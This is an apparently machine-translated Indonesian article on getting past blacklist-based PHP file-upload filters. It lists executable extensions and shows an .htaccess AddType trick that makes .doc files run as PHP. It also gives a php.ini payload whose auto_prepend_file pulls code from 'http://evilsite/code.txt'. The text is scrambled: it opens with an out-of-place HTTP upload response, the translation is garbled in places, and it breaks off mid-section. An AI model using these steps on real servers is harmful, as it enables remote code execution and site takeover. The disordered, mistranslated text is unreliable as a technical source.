Isi-Disposisi: bentuk-data; nama="filepengguna"; namafile="crocus.gif"
Tipe-Konten: gambar/gif
GIF89(...melewatkan data biner...)
--xYzZY--

Menjawab:
HTTP/1.1 200 oke
Tanggal: Kamis, 31 Mei 2007 15:20:17 GMT
Server: Apache
Didukung oleh X: PHP/4.4.4-pl6-gentoo
Panjang Konten: 59
Koneksi: tutup
Tipe-Konten: teks/html
File valid, dan berhasil diunggah.

Sekarang, jika kami meminta file yang diunggah, itu tidak akan dieksekusi oleh server:

“… atau mengapa pemfilteran daftar hitam itu buruk?”

Bayangkan unggahan file normal menggunakan php. Saya rasa semua orang pernah mengalami hal ini. Mari kita buang opsi sesat, seperti menyimpan file di database, mengganti namanya, dan sebagainya. Mari ambil bentuk upload file yang paling sederhana.

Biasanya ini adalah formulir html, kemudian validasi server dengan ekstensi file yang diunggah dan selanjutnya mentransfer file yang diunggah dari folder sementara ke folder unduhan. Mari kita buang jutaan kesalahan yang dilakukan pemrogram dalam hal-hal yang tampaknya sederhana ini, dan pertimbangkan bahwa fungsi ini diterapkan dengan benar dan tanpa kesalahan.

Timbul pertanyaan, bagaimana tepatnya memfilter ekstensi file? Ada dua opsi:

  • Daftar putih- buat daftar ekstensi file yang valid, dan blokir sisanya
  • Daftar hitam- buat daftar ekstensi yang diblokir, dan muat sisanya

Masalahnya adalah untuk menerapkan pemfilteran dengan daftar putih, Anda harus menyediakan semua opsi yang memungkinkan untuk ekstensi yang diperlukan yang akan dimuat oleh skrip kami. Dan jika untuk tempat-tempat di mana Anda hanya perlu mengunggah gambar - semuanya sederhana, maka dalam banyak kasus lain Anda harus membuat daftar ekstensi yang sah yang agak besar. Oleh karena itu, bagi banyak pengembang tampaknya mereka harus mengambil jalan lain dan melarang ekstensi berbahaya.

Dan jika dalam kasus pertama, banyak yang yakin bahwa hanya file dengan ekstensi yang diperlukan yang akan diunggah (dalam artikel saya akan memberi tahu Anda cara menyiasatinya juga), maka dalam kasus kedua, semuanya tidak sesederhana itu.

Artikel ini membahas tentang buruknya pemfilteran daftar hitam, dan bagaimana filter ini dapat dilewati. Dan sebagai bonus yang bagus, saya akan menambahkan cara untuk mem-bypass filter pada daftar putih (dan bahkan ini mungkin! oh betapa!)

Kami akan mulai dengan masalah pemfilteran daftar hitam.

Banyak ekstensi

Masalah pertama adalah Apache secara default (walaupun mungkin tidak secara default, tetapi setidaknya sangat sering) memproses banyak file dengan berbagai ekstensi sebagai skrip php. Apakah Anda masih merasa cukup memblokir ".php" saja? Tapi patung-patung, berikut adalah daftar ekstensi yang mungkin tidak lengkap:

Php .phtml .php4 .php5 .html

Ya, ya, di beberapa konfigurasi Apache ".html" dapat diproses sebagai skrip php.

Dan kami juga melupakan cgi, mutiara, dan barang lainnya untuk seorang peretas. Ya, biasanya mereka hanya dapat diluncurkan dari folder "/ cgi-bin", tetapi siapa tahu, mungkin konfigurasi server Anda berbeda ...

Dan itu cukup untuk melewatkan setidaknya satu ekstensi, dan penyerang, ketika mencoba meretas, mungkin akan mencoba mengunggah file dengan ekstensi seperti itu dan kemudian menjalankannya, yang kemungkinan besar akan menyebabkan peretasan total situs Anda.

Kami mengubah konfigurasi untuk diri kami sendiri

Itu saja, admin ternyata paranoid dan menambahkan semua ekstensi yang dapat dieksekusi ke filter. Tapi, seperti yang mereka katakan, untuk setiap baut yang rumit ada mur yang rumit. Toh admin bahkan tidak terpikir untuk menambahkan ekstensi “.htaccess” (kalau bisa disebut ekstensi tentunya :D) ke dalam daftar filter.

Kami mencoba memuat file bernama ".htaccess" dengan konten berikut:

Aplikasi AddType/x-httpd-php .doc

Dan sekarang di folder tempat file ini diunggah, semua file dengan ekstensi ".doc" akan diinterpretasikan sebagai skrip php dan akan dieksekusi sesuai dengan itu. Tetap memuat skrip php dengan ekstensi ini dan akan berhasil dijalankan.

Kami menuangkan php.ini

Belum lama ini, saya menulis tentang fitur menarik dari bundel php + cgi (dan, omong-omong, fastcgi juga):

Untuk melakukan serangan ini, kita harus memiliki keadaan berikut:

  • Php harus terhubung melalui CGI
  • Folder tempat file diunggah harus berisi setidaknya satu skrip php (katakanlah index.php)
  • Filter tidak boleh memotong ekstensi .ini (artinya, kita harus dapat memuat file php.ini)

Di php ada opsi menarik yang disebut auto_prepend_file:

Menentukan nama file yang akan diproses secara otomatis sebelum file utama. File tersebut dipanggil seolah-olah disertakan dengan fungsi require, jadi include_path juga digunakan.

Singkatnya, sebelum setiap eksekusi skrip apa pun, skrip yang ditentukan dalam "auto_prepend_file" akan dieksekusi terlebih dahulu. Tebak apa yang saya maksud?

Hal yang menarik adalah Anda dapat menentukan alamat jarak jauh file di server lain, dan ini sangat nyaman. Kami menuangkan file php.ini seperti itu:

; Aktifkan membaca file jarak jauh (memerlukan allow_url_include)
izinkan_url_fopen=1

; Aktifkan aktifkan jarak jauh
allow_url_include=1

; Kami menghubungkan skrip "kami" dengan kode "jahat".
auto_prepend_file="http://evilsite/code.txt"

Mengunggah file? Besar! Sekarang kita beralih ke skrip php apa pun yang ada di direktori tempat semua file diunggah (inilah mengapa saya menulis bahwa saya memerlukan skrip php di folder ini). Saat mengakses skrip dari folder ini, file yang ditentukan di auto_prepend_file akan dieksekusi terlebih dahulu.

Ekstensi "ganda".

"Kode MIME - bantu agar Anda bukan unta."
hal yang tidak lucu dari majalah])